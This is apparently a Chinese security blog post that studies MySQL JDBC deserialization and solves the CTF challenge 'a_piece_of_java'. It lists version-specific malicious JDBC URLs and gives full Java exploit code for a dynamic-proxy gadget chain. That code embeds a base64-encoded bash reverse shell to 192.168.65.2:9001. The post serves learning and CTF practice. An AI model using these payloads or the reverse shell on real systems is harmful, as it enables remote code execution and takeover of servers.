MySQL JDBC反序列化学习
date
Nov 4, 2021
slug
mysql-jdbc-deserialize-learn
status
Published
tags
Java安全
安全研究
summary
继续学Java~~~
type
Post
如何利用
这个需要利用起来还是比较鸡肋需要jdbc的url里面的部分参数可控才可行,关键是
autoDeserialize
以及queryInterceptors
/detectCustomCollations
可以注入到url参数中,然后传输恶意的二进制内容这个漏洞本质上就是个反序列化
每个版本的连接payload是不一样的
public class test1 {
public static void main(String[] args) throws Exception{
String driver = "com.mysql.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc";//8.x使用
//String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc";//5.x使用
Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL);
}
}
可以利用这个工具:
归纳了一些payload:
ServerStatusDiffInterceptor触发
- 8.x:
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
- 6.x(属性名不同):
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
- 5.1.11及以上的5.x版本(包名没有了cj):
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
- 5.1.10及以下的5.1.X版本: 同上,但是需要连接后执行查询。
- 5.0.x: 还没有
ServerStatusDiffInterceptor
这个东西┓( ´∀` )┏
detectCustomCollations触发:
- 5.1.41及以上: 不可用
- 5.1.29-5.1.40:
jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
- 5.1.28-5.1.19:
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc
- 5.1.18以下的5.1.x版本: 不可用
- 5.0.x版本不可用
调试
以6.0.x版本的进行调试
最终触发点:
mysql-connector-java-6.0.2.jar!/com/mysql/cj/jdbc/ResultSetImpl.class:1273
首先会通过getConnection进入到
mysql-connector-java-6.0.2.jar!/com/mysql/cj/jdbc/interceptors/ServerStatusDiffInterceptor.class:48
这里ServerStatusDiffInterceptor的preProcess方法(执行SQL Query前需要执行的方法),调用了populateMapWithSessionStatusValues
执行了SHOW SESSION STAUS语句并获取结果,继续跟入resultSetToMap方法,java.sql.ResultSet#getObject(int)
此时rs变量就是
com.mysql.cj.jdbc.ResultSetImpl
的对象了,进一步就到getObject函数,这里面就是反序列化的触发点,前提是需要绕过几个条件,也就是jdbc的URL里面设置的那些内容整个题目
快速学会一下怎么使用工具了算是
例题:a_piece_of_java
很明显hello路由下存在一个反序列化
解base64编码,然后存在一个
SerialKiller
对反序列化进行了限制,是个白名单,看来只允许原生类依赖里面存在一个mysql,如果想要触发反序列化的话就得从这个点入手了,但是跟数据库相关的是JDBC反序列化,这么能够联动起来呢?好像又没有啥好方法
但是这个题目给了一个动态代理类,里面实现了invoke方法,可以看到这个方法hook了getAllInfo方法,还会触发
checkAllInfo()
方法再去瞅一下
this.info
,是Info
的数据类型,然后看了一下实现这个类的子类有哪些,发现gdufs.challenge.web.model.DatabaseInfo
类里面的checkAllInfo
会执行connect函数,在connect函数里面就可以对数据库的url进行控制达到jdbc
反序列化的效果,此时就绕过SerialKiller
的限制,走的另外的路子触发反序列化了那么现在看来就不是去触发原生反序列化了,而是找到触发
getAllInfo
的方法,那么就是这个点了那么整个思路就很明显了,所以最后应该封装的是动态代理Proxy对象,里面的handler是
InfoInvocationHandler
,又由于lib文件夹里面有CC组件,可以使用CC链进行利用,以后还是看lib文件夹吧,单看pom不太可靠反序列化->info.getAllinfo()->(动态代理)InfoInvocationHandler.invoke()->Databaseinfo.checkAllInfo()->Databaseinfo->connect()
package gdufs.challenge.web;
import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Base64;
public class TSOChain {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
DatabaseInfo databaseInfo = new DatabaseInfo();
setFieldValue(databaseInfo, "host", "192.168.65.2");
setFieldValue(databaseInfo, "port", "3306");
//payload从username里面设置
setFieldValue(databaseInfo, "username", "yso_CommonsCollections5_bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNjUuMi85MDAxIDA%2bJjE=}|{base64,-d}|{bash,-i}");
setFieldValue(databaseInfo, "password", "xss&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
//反射初始化代理类
Class clazz = Class.forName("gdufs.challenge.web.invocation.InfoInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Info.class);
construct.setAccessible(true);
//InfoInvocationHandler好像得用代理类Proxy封装
InfoInvocationHandler handler = (InfoInvocationHandler) construct.newInstance(databaseInfo);
Info proxinfo = (Info) Proxy.newProxyInstance(Info.class.getClassLoader(), new Class[] {Info.class}, handler);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(proxinfo);
System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
}
}
这个就用到了‣ 这个工具了,这次我是真的学会了这个工具是怎么个用法了,TMD之前一直以为每弄一次就得在这个工具里面的config.json设置一次,原来这东西是个相当于快捷设置而已,关键的地方在于设置可控的username那个点,针对这个题目(默认没设置config)我们设置成
yso_CommonsCollections5_bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNjUuMi85MDAxIDA%2bJjE=}|{base64,-d}|{bash,-i}
,就相当于调用yso了,如果我们在config里面设置了,就直接把username设置成CommonsCollections5
就可以了还是再看仔细点文档🐶
启动,然后反弹shell成功
这个工具有坑,防止
+
变成空格,得把一些+
URL编码成%2b不然传输过来的是空格,估计参数发的是GET请求